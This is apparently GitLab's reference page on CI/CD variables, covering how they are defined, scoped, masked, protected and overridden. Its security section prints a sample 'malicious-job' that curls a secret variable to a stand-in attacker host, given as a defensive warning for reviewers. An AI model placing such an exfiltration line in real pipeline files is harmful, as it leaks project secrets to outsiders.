GitLab CI/CD variables

CI/CD variables are a type of environment variable. You can use them to:

• Control the behavior of jobs and pipelines.
• Store values you want to re-use.
• Avoid hard-coding values in your .gitlab-ci.yml file.

You can override variable values for a specific pipeline when you run a pipeline manually, run a manual job, or have them prefilled in manual pipelines.

Variable names are limited by the shell the runner uses to execute scripts. Each shell has its own set of reserved variable names.

To ensure consistent behavior, you should always put variable values in single or double quotes. Variables are internally parsed by the Psych YAML parser, so quoted and unquoted variables might be parsed differently. For example, VAR1: 012345 is interpreted as an octal value, so the value becomes 5349, but VAR1: "012345" is parsed as a string with a value of 012345.

For more information about advanced use of GitLab CI/CD, see 7 advanced GitLab CI workflow hacks shared by GitLab engineers.

Predefined CI/CD variables

GitLab CI/CD makes a set of predefined CI/CD variables available for use in pipeline configuration and job scripts. These variables contain information about the job, pipeline, and other values you might need when the pipeline is triggered or running.

You can use predefined CI/CD variables in your .gitlab-ci.yml without declaring them first. For example:

job1:
  stage: test
  script:
    - echo "The job's stage is '$CI_JOB_STAGE'"

The script in this example outputs The job's stage is 'test'.

Define a CI/CD variable in the .gitlab-ci.yml file

To create a CI/CD variable in the .gitlab-ci.yml file, define the variable and value with the variables keyword.

Variables saved in the .gitlab-ci.yml file are visible to all users with access to the repository, and should store only non-sensitive project configuration. For example, the URL of a database saved in a DATABASE_URL variable. Sensitive variables containing values like secrets or keys should be stored in project settings.

You can use variables in a job or at the top level of the .gitlab-ci.yml file. If the variable is defined:

• At the top level, it’s globally available and all jobs can use it.
• In a job, only that job can use it.

For example:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables:
    JOB_VAR: "A job variable"
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

job2:
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

In this example:

• job1 outputs Variables are 'A global variable' and 'A job variable'
• job2 outputs Variables are 'A global variable' and ''

Use the value and description keywords to define variables that are prefilled for manually-triggered pipelines.

Skip global variables in a single job

If you don’t want globally defined variables to be available in a job, set variables to {}:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables: {}
  script:
    - echo This job does not need any variables

Define a CI/CD variable in the UI

Sensitive variables like tokens or passwords should be stored in the settings in the UI, not in the .gitlab-ci.yml file. Define CI/CD variables in the UI:

• For a project in the project’s settings.
• For all projects in a group in the group’s setting.
• For all projects in a GitLab instance in the instance’s settings.

Alternatively, these variables can be added by using the API:

• With the project-level variables API endpoint.
• With the group-level variables API endpoint.
• With the instance-level variables API endpoint.

By default, pipelines from forked projects can’t access the CI/CD variables available to the parent project. If you run a merge request pipeline in the parent project for a merge request from a fork, all variables become available to the pipeline.

For a project

You can add CI/CD variables to a project’s settings.

Prerequisites:

• You must be a project member with the Maintainer role.

To add or update variables in the project settings:

1. On the left sidebar, select Search or go to and find your project.
2. Select Settings > CI/CD.
3. Expand Variables.
4. Select Add variable and fill in the details:
   • Key: Must be one line, with no spaces, using only letters, numbers, or _.
   • Value: No limitations.
   • Type: Variable (default) or File.
   • Environment scope: Optional. All (default) (*), a specific environment, or a wildcard environment scope.
   • Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or protected tags.
   • Visibility:
     • Visible: The variable’s Value is visible in job logs and shown in variables settings.
     • Masked: The variable’s Value is masked in job logs, but it is still shown in variables settings. The variable fails to save if the value does not meet the masking requirements.
     • Masked and hidden: The variable’s Value is masked in job logs, and it will not be shown in variables settings. The variable fails to save if the value does not meet the masking requirements.

After you create a variable, you can use it in the pipeline configuration or in job scripts.

For a group

You can make a CI/CD variable available to all projects in a group.

Prerequisites:

• You must be a group member with the Owner role.

To add a group variable:

1. On the left sidebar, select Search or go to and find your group.
2. Select Settings > CI/CD.
3. Expand Variables.
4. Select Add variable and fill in the details:
   • Key: Must be one line, with no spaces, using only letters, numbers, or _.
   • Value: No limitations.
   • Type: Variable (default) or File.
   • Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or tags.
   • Visibility:
     • Visible: The variable’s Value is visible in job logs and shown in variables settings.
     • Masked: The variable’s Value is masked in job logs, but it is still shown in variables settings. The variable fails to save if the value does not meet the masking requirements.
     • Masked and hidden: The variable’s Value is masked in job logs, and it will not be shown in variables settings. The variable fails to save if the value does not meet the masking requirements.

The group variables that are available in a project are listed in the project’s Settings > CI/CD > Variables section. Variables from subgroups are recursively inherited.

Environment scope

To set a group CI/CD variable to only be available for certain environments:

1. On the left sidebar, select Search or go to and find your group.
2. Select Settings > CI/CD.
3. Expand Variables.
4. To the right of the variable, select Edit ().
5. For Environment scope, select All (default) (*), a specific environment, or a wildcard environment scope.

For an instance

You can make a CI/CD variable available to all projects and groups in a GitLab instance.

Prerequisites:

• You must have administrator access to the instance.

To add an instance variable:

1. On the left sidebar, at the bottom, select Admin.
2. Select Settings > CI/CD.
3. Expand Variables.
4. Select Add variable and fill in the details:
   • Key: Must be one line, with no spaces, using only letters, numbers, or _.
   • Value: The value is limited to 10,000 characters, but also bounded by any limits in the runner’s operating system.
   • Type: Variable (default) or File.
   • Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or tags.
   • Visibility:
     • Visible: The variable’s Value is visible in job logs and shown in variables settings.
     • Masked: The variable’s Value is masked in job logs, but it is still shown in variables settings. The variable fails to save if the value does not meet the masking requirements.

CI/CD variable security

Code pushed to the .gitlab-ci.yml file could compromise your variables. Variables could be accidentally exposed in a job log, or maliciously sent to a third party server.

Review all merge requests that introduce changes to the .gitlab-ci.yml file before you:

• Run a pipeline in the parent project for a merge request submitted from a forked project.
• Merge the changes.

Review the .gitlab-ci.yml file of imported projects before you add files or run pipelines against them.

The following example shows malicious code in a .gitlab-ci.yml file:

accidental-leak-job:
  script:                                         # Password exposed accidentally
    - echo "This script logs into the DB with $USER $PASSWORD"
    - db-login $USER $PASSWORD

malicious-job:
  script:                                         # Secret exposed maliciously
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

To help reduce the risk of accidentally leaking secrets through scripts like in accidental-leak-job, all variables containing sensitive information should always be masked in job logs. You can also limit a variable to protected branches and tags only.

Alternatively, use one of the native GitLab integrations to connect with third party secrets manager providers to store and retrieve secrets:

• HashiCorp Vault
• Azure Key Vault
• Google Secret Manager

You can also use OpenID Connect (OIDC) authentication for secrets managers which do not have a native integration.

Malicious scripts like in malicious-job must be caught during the review process. Reviewers should never trigger a pipeline when they find code like this, because malicious code can compromise both masked and protected variables.

Variable values are encrypted using aes-256-cbc and stored in the database. This data can only be read and decrypted with a valid secrets file.

Mask a CI/CD variable

You can mask a project, group, or instance CI/CD variable so the value of the variable does not display in job logs.

Prerequisites:

• You must have the same role or access level as required to define a CI/CD variable in the UI.

To mask a variable:

1. For the group, project, or in the Admin area, select Settings > CI/CD.
2. Expand Variables.
3. Next to the variable you want to protect, select Edit.
4. Select the Mask variable checkbox.
5. Select Update variable.

The method used to mask variables limits what can be included in a masked variable. The value of the variable must:

• Be a single line with no spaces.
• Be 8 characters or longer.
• Not match the name of an existing predefined or custom CI/CD variable.
• Not include non-alpha-numeric characters other than @, _, -, :, or +.

Additionally, if variable expansion is enabled, the value can contain only:

• Characters from the Base64 alphabet (RFC4648).
• The @, :, ., or ~ characters.

Masking a variable automatically masks the value anywhere in a job log. If another variable has the same value, that value is also masked, including when a variable references a masked variable.

Different versions of GitLab Runner have different masking limitations:

Protect a CI/CD variable

You can configure a project, group, or instance CI/CD variable to be available only to pipelines that run on protected branches or protected tags.

Merged results pipelines and merge request pipelines do not have access to these variables.

Prerequisites:

• You must have the same role or access level as required to define a CI/CD variable in the UI.

To set a variable as protected:

1. For the project or group, go to Settings > CI/CD.
2. Expand Variables.
3. Next to the variable you want to protect, select Edit.
4. Select the Protect variable checkbox.
5. Select Update variable.

The variable is available for all subsequent pipelines.

Use file type CI/CD variables

All predefined CI/CD variables and variables defined in the .gitlab-ci.yml file are “variable” type (variable_type of env_var in the API). Variable type variables:

• Consist of a key and value pair.
• Are made available in jobs as environment variables, with:
  • The CI/CD variable key as the environment variable name.
  • The CI/CD variable value as the environment variable value.

Project, group, and instance CI/CD variables are “variable” type by default, but can optionally be set as a “file” type (variable_type of file in the API). File type variables:

• Consist of a key, value, and file.
• Are made available in jobs as environment variables, with:
  • The CI/CD variable key as the environment variable name.
  • The CI/CD variable value saved to a temporary file.
  • The path to the temporary file as the environment variable value.

Use file type CI/CD variables for tools that need a file as input. The AWS CLI and kubectl are both tools that use File type variables for configuration.

For example, if you are using kubectl with:

• A variable with a key of KUBE_URL and https://example.com as the value.
• A file type variable with a key of KUBE_CA_PEM and a certificate as the value.

Pass KUBE_URL as a --server option, which accepts a variable, and pass $KUBE_CA_PEM as a --certificate-authority option, which accepts a path to a file:

kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"

Use a .gitlab-ci.yml variable as a file type variable

You cannot set a CI/CD variable defined in the .gitlab-ci.yml file as a file type variable. If you have a tool that requires a file path as an input, but you want to use a variable defined in the .gitlab-ci.yml:

• Run a command that saves the value of the variable in a file.
• Use that file with your tool.

For example:

variables:
  SITE_URL: "https://gitlab.example.com"

job:
  script:
    - echo "$SITE_URL" > "site-url.txt"
    - mytool --url-file="site-url.txt"

Use CI/CD variables in job scripts

All CI/CD variables are set as environment variables in the job’s environment. You can use variables in job scripts with the standard formatting for each environment’s shell.

To access environment variables, use the syntax for your runner executor’s shell.

With Bash, sh and similar

To access environment variables in Bash, sh, and similar shells, prefix the CI/CD variable with ($):

job_name:
  script:
    - echo "$CI_JOB_ID"

With PowerShell

To access variables in a Windows PowerShell environment, including environment variables set by the system, prefix the variable name with $env: or $:

job_name:
  script:
    - echo $env:CI_JOB_ID
    - echo $CI_JOB_ID
    - echo $env:PATH

In some cases environment variables must be surrounded by quotes to expand properly:

job_name:
  script:
    - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test

With Windows Batch

To access CI/CD variables in Windows Batch, surround the variable with %:

job_name:
  script:
    - echo %CI_JOB_ID%

You can also surround the variable with ! for delayed expansion. Delayed expansion might be needed for variables that contain white spaces or newlines:

job_name:
  script:
    - echo !ERROR_MESSAGE!

In service containers

Service containers can use CI/CD variables, but by default can only access variables saved in the .gitlab-ci.yml file. Variables set in the GitLab UI are not available to service containers, because service containers are not trusted by default.

To make a UI-defined variable available in a service container, you can re-assign it to another variable in your .gitlab-ci.yml:

variables:
  SA_PASSWORD_YAML_FILE: $SA_PASSWORD_UI

The re-assigned variable cannot have the same name as the original variable. Otherwise it does not get expanded.

Pass an environment variable to another job

You can create a new environment variable in a job, and pass it to another job in a later stage. These variables cannot be used as CI/CD variables to configure a pipeline (for example with the rules keyword), but they can be used in job scripts.

To pass a job-created environment variable to other jobs:

1. In the job script, save the variable as a .env file.
   • The format of the file must be one variable definition per line.
   • Each line must be formatted as: VARIABLE_NAME=ANY VALUE HERE.
   • Values can be wrapped in quotes, but cannot contain newline characters.
2. Save the .env file as an artifacts:reports:dotenv artifact.
3. Jobs in later stages can then use the variable in scripts, unless jobs are configured not to receive dotenv variables.

For example:

build-job:
  stage: build
  script:
    - echo "BUILD_VARIABLE=value_from_build_job" >> build.env
  artifacts:
    reports:
      dotenv: build.env

test-job:
  stage: test
  script:
    - echo "$BUILD_VARIABLE"  # Output is: 'value_from_build_job'

Variables from dotenv reports take precedence over certain types of new variable definitions such as job defined variables.

You can also pass dotenv variables to downstream pipelines.

Control which jobs receive dotenv variables

You can use the dependencies or needs keywords to control which jobs receive the dotenv artifacts.

To have no environment variables from a dotenv artifact:

• Pass an empty dependencies or needs array.
• Pass needs:artifacts as false.
• Set needs to only list jobs that do not have a dotenv artifact.

For example:

build-job1:
  stage: build
  script:
    - echo "BUILD_VERSION=v1.0.0" >> build.env
  artifacts:
    reports:
      dotenv: build.env

build-job2:
  stage: build
  needs: []
  script:
    - echo "This job has no dotenv artifacts"

test-job1:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # Output is: 'v1.0.0'
  dependencies:
    - build-job1

test-job2:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # Output is ''
  dependencies: []

test-job3:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # Output is: 'v1.0.0'
  needs:
    - build-job1

test-job4:
  stage: test
  script:
    - echo "$BUILD_VERSION"  # Output is: 'v1.0.0'
  needs:
    - job: build-job1
      artifacts: true

test-job5:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is ''
  needs:
    - job: build-job1
      artifacts: false

test-job6:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is ''
  needs:
    - build-job2

Pass an environment variable from the script section to another section in the same job

Use $GITLAB_ENV to pass environment variables defined in the script section to another section.

For example:

build-job:
  stage: build
  script:
    - echo "ARCH=$(arch)" >> $GITLAB_ENV
    - touch some-file-$(arch)
  artifacts:
    paths:
      - some-file-$ARCH

To also reference the variable in other stages, write the variable to both the $GITLAB_ENV and .env files:

build-job:
  stage: build
  script:
    - echo "ARCH=$(arch)" | tee >> $GITLAB_ENV build.env
    - touch some-file-$(arch)
  artifacts:
    paths:
      - some-file-$ARCH
    reports:
      dotenv: build.env

release-job:
  stage: release
  script:
    - curl --upload-file some-file-$ARCH "https://example.com/some-file-$ARCH"

Store multiple values in one variable

You cannot create a CI/CD variable that is an array of values, but you can use shell scripting techniques for similar behavior.

For example, you can store multiple values separated by a space in a variable, then loop through the values with a script:

job1:
  variables:
    FOLDERS: src test docs
  script:
    - |
      for FOLDER in $FOLDERS
        do
          echo "The path is root/${FOLDER}"
        done

Use CI/CD variables in other variables

You can use variables inside other variables:

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS"'
  script:
    - 'eval "$LS_CMD"'  # Executes 'ls -al'

Use the $ character in CI/CD variables

If you do not want the $ character interpreted as the start of another variable, use $$ instead:

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
  script:
    - 'eval "$LS_CMD"'  # Executes 'ls -al $TMP_DIR'

Prevent CI/CD variable expansion

Expanded variables treat values with the $ character as a reference to another variable. CI/CD variables are expanded by default. To treat variables with a $ character as raw strings, disable variable expansion for the variable

Prerequisites:

• You must have the same role or access level as required to define a CI/CD variable in the UI.

To disable variable expansion for the variable:

1. For the project or group, go to Settings > CI/CD.
2. Expand Variables.
3. Next to the variable you want to do not want expanded, select Edit.
4. Clear the Expand variable checkbox.
5. Select Update variable.

CI/CD variable precedence

You can use CI/CD variables with the same name in different places, but the values can overwrite each other. The type of variable and where they are defined determines which variables take precedence.

The order of precedence for variables is (from highest to lowest):

1. Pipeline execution policy variables.
2. Scan execution policy variables.
3. Pipeline variables. These variables all have the same precedence:
   • Variables passed to downstream pipelines.
   • Trigger variables.
   • Scheduled pipeline variables.
   • Manual pipeline run variables.
   • Variables added when creating a pipeline with the API.
   • Manual job variables.
4. Project variables.
5. Group variables. If the same variable name exists in a group and its subgroups, the job uses the value from the closest subgroup. For example, if you have Group > Subgroup 1 > Subgroup 2 > Project, the variable defined in Subgroup 2 takes precedence.
6. Instance variables.
7. Variables from dotenv reports.
8. Variables defined in jobs in the .gitlab-ci.yml file.
9. Variables defined outside of jobs (globally) in the .gitlab-ci.yml file.
10. Deployment variables.
11. Predefined variables.

For example:

variables:
  API_TOKEN: "default"

job1:
  variables:
    API_TOKEN: "secure"
  script:
    - echo "The variable is '$API_TOKEN'"

In this example, job1 outputs The variable is 'secure' because variables defined in jobs in the .gitlab-ci.yml file have higher precedence than variables defined globally in the .gitlab-ci.yml file.

Override a defined CI/CD variable

You can override the value of a variable, including predefined variables, when you:

• Run a pipeline manually in the UI.
• Create a pipeline by using the pipelines API endpoint.
• Use push options.
• Trigger a pipeline by using the triggers API endpoint.
• Pass variables to a downstream pipeline by using the variable keyword or by using dotenv variables.
• Specify variables when running a manual job.

You should avoid overriding predefined variables in most cases, as it can cause the pipeline to behave unexpectedly.

Restrict who can override variables

You can limit the ability to override variables to only users with at least the Maintainer role. When other users try to run a pipeline with overridden variables, they receive the Insufficient permissions to set pipeline variables error message.

Enable this feature by using the projects API to enable the restrict_user_defined_variables setting. The setting is disabled by default.

If you store your CI/CD configurations in a different repository, use this setting for control over the environment the pipeline runs in.

By minimum role

When the restrict_user_defined_variables option is enabled, you can specify which roles can override variables with the ci_pipeline_variables_minimum_override_role setting.

To change the setting, use the projects API to modify ci_pipeline_variables_minimum_override_role to one of:

• owner: Only users with the Owner role can override variables. You must have the Owner role for the project to change the setting to this value.
• maintainer: Only users with at least the Maintainer role can override variables. Default when not specified.
• developer: Only users with at least the Developer role can override variables.
• no_one_allowed: Users cannot override variables.

If you set the minimum role to owner, only users with at least the owner role can update the ci_pipeline_variables_minimum_override_role and restrict_user_defined_variables settings.

Exporting variables

Scripts executed in separate shell contexts do not share exports, aliases, local function definitions, or any other local shell updates.

This means that if a job fails, variables created by user-defined scripts are not exported.

When runners execute jobs defined in .gitlab-ci.yml:

• Scripts specified in before_script and the main script are executed together in a single shell context, and are concatenated.
• Scripts specified in after_script run in a shell context completely separate to the before_script and the specified scripts.

Regardless of the shell the scripts are executed in, the runner output includes:

• Predefined variables.
• Variables defined in:
  • Instance, group, or project CI/CD settings.
  • The .gitlab-ci.yml file in the variables: section.
  • The .gitlab-ci.yml file in the secrets: section.
  • The config.toml.

The runner cannot handle manual exports, shell aliases, and functions executed in the body of the script, like export MY_VARIABLE=1.

For example, in the following .gitlab-ci.yml file, the following scripts are defined:

job:
 variables:
   JOB_DEFINED_VARIABLE: "job variable"
 before_script:
   - echo "This is the 'before_script' script"
   - export MY_VARIABLE="variable"
 script:
   - echo "This is the 'script' script"
   - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
   - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
   - echo "MY_VARIABLE's value is ${MY_VARIABLE}"
 after_script:
   - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
   - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
   - echo "MY_VARIABLE's value is ${MY_VARIABLE}"

When the runner executes the job:

1. before_script is executed:
   1. Prints to the output.
   2. Defines the variable for MY_VARIABLE.
2. script is executed:
   1. Prints to the output.
   2. Prints the value of JOB_DEFINED_VARIABLE.
   3. Prints the value of CI_COMMIT_SHA.
   4. Prints the value of MY_VARIABLE.
3. after_script is executed in a new, separate shell context:
   1. Prints to the output.
   2. Prints the value of JOB_DEFINED_VARIABLE.
   3. Prints the value of CI_COMMIT_SHA.
   4. Prints an empty value of MY_VARIABLE. The variable value cannot be detected because after_script is in a separate shell context to before_script.

Troubleshooting

List all variables

You can list all variables available to a script with the export command in Bash or dir env: in PowerShell. This exposes the values of all available variables, which can be a security risk. Masked variables display as [masked].

For example, with Bash:

job_name:
  script:
    - export

Example job log output (truncated):

export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_SHORT_SHA="1ecfd275"
export CI_COMMIT_REF_NAME="main"
export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab.git"
export CI_COMMIT_TAG="1.0.0"
export CI_JOB_NAME="spec:other"
export CI_JOB_STAGE="test"
export CI_JOB_MANUAL="true"
export CI_JOB_TRIGGERED="true"

Enable debug logging

You can use debug logging to help troubleshoot problems with pipeline configuration or job scripts. Debug logging exposes job execution details that are usually hidden by the runner and makes job logs more verbose. It also exposes all variables and secrets available to the job.

Before you enable debug logging, make sure only team members can view job logs. You should also delete job logs with debug output before you make logs public again.

To enable debug logging, set the CI_DEBUG_TRACE variable to true:

job_name:
  variables:
    CI_DEBUG_TRACE: "true"

Example output (truncated):

Access to debug logging

Access to debug logging is restricted to users with at least the Developer role. Users with a lower role cannot see the logs when debug logging is enabled with a variable in:

• The .gitlab-ci.yml file.
• The CI/CD variables set in the GitLab UI.
